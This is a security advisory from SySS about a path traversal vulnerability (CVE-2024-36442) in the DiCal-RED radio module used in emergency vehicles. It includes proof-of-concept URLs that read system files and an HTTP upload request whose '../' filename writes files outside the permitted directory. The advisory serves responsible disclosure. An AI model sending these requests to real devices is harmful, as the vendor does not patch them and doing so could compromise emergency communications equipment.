DiCal-RED 4009 Path Traversal

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Advisory ID: SYSS-2024-039
Product: DiCal-RED
Manufacturer: Swissphone Wireless AG
Affected Version(s): Unknown
Tested Version(s): 4009
Vulnerability Type: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’) (CWE-22)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2024-04-16
Solution Date: None
Public Disclosure: 2024-08-20
CVE Reference: CVE-2024-36442
Author of Advisory: Sebastian Hamann, SySS GmbH

Overview:

DiCal-RED is a radio module for communication between emergency vehicles and  
control rooms. It provides Ethernet, Wi-Fi and cellular network connectivity  
and runs a Linux- and BusyBox-based operating system.

The manufacturer describes the product as follows (see [1]):

"The DiCal-Red radio data module reliably guides you to your destination. This  
is ensured by the linking of navigation (also for the transmission of position  
data) and various radio modules."

Due to a path traversal issue, the device is vulnerable to the disclosure  
of arbitrary files and modification of system files, effectively leading to  
remote code execution.

Vulnerability Details:

The administrative web interface of the device is vulnerable to path traversal
attacks in several places.

The functions to download or display log files can be used to access arbitrary
files on the device’s file system.
The upload function for new license files can be used to write files anywhere
on the device’s file system - possibly overwriting important system
configuration files, binaries or scripts.
Replacing files that are executed during system operation results in a full
compromise of the whole device.

Note that the attacker needs to be authenticated in order to exploit these
vulnerabilities, i.e. know the administrative system password or its MD5
hash (cf. SYSS-2024-038).
However, due to another vulnerability (cf. SYSS-2024-040), authentication is
not required to display file contents.

Proof of Concept (PoC):

An attacker can download the file /etc/deviceconfig via the following URL:  
http:/192.0.2.1/cgi-bin/fdmcgiwebv2.cgi?action=downloadfile&data={%22FilePath%22:%22/etc/deviceconfig%22}

Alternatively, the same file can be viewed via  
http:/192.0.2.1/cgi-bin/fdmcgiwebv2.cgi?action=displayfilel&data={%22FilePath%22:%22/etc/deviceconfig%22}

The following HTTP POST request uploads a file to the root directory (/) of  
the device's file system:

 POST /cgi-bin/fdmcgiwebv2.cgi?action=fileupload HTTP/1.1  
 Host: 192.0.2.1  
 Content-Length: 190  
 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynMcoPJ7jKTghQbK5  
 [...]  
 Cookie: QSESSIONID=[...]

  ------WebKitFormBoundarynMcoPJ7jKTghQbK5  
 Content-Disposition: form-data; name="binary"; filename="../poc.txt"  
 Content-Type: text/plain

  PoC

  ------WebKitFormBoundarynMcoPJ7jKTghQbK5--

Solution:

The manufacturer recommends not running the device in an untrusted network.

Disclosure Timeline:

2024-02-29: Vulnerability discovered  
2024-04-16: Vulnerability reported to manufacturer  
2024-05-10: Manufacturer states that the vulnerability will not be fixed  
2024-05-14: Vulnerability reported to CERT-Bund  
2024-08-13: CERT-Bund informs us that the vendor declared the product EOL  
2024-08-20: Public disclosure of vulnerability

References:

[1] Product website for DiCal-RED
https://www.swissphone.com/solutions/components/terminals/radio-data-module-dical-red/
[2] SySS Security Advisory SYSS-2024-039
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-039.txt
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy

Credits:

This security vulnerability was found by Sebastian Hamann of SySS GmbH.

E-Mail: [email protected]  
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Sebastian_Hamann.asc  
Key ID: 0x9CE0E440429D8B96  
Key Fingerprint: F643 DF21 62C4 7C53 7DB2 8BA1 9CE0 E440 429D 8B96

Disclaimer:

The information provided in this security advisory is provided “as is”
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

Copyright:

Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en

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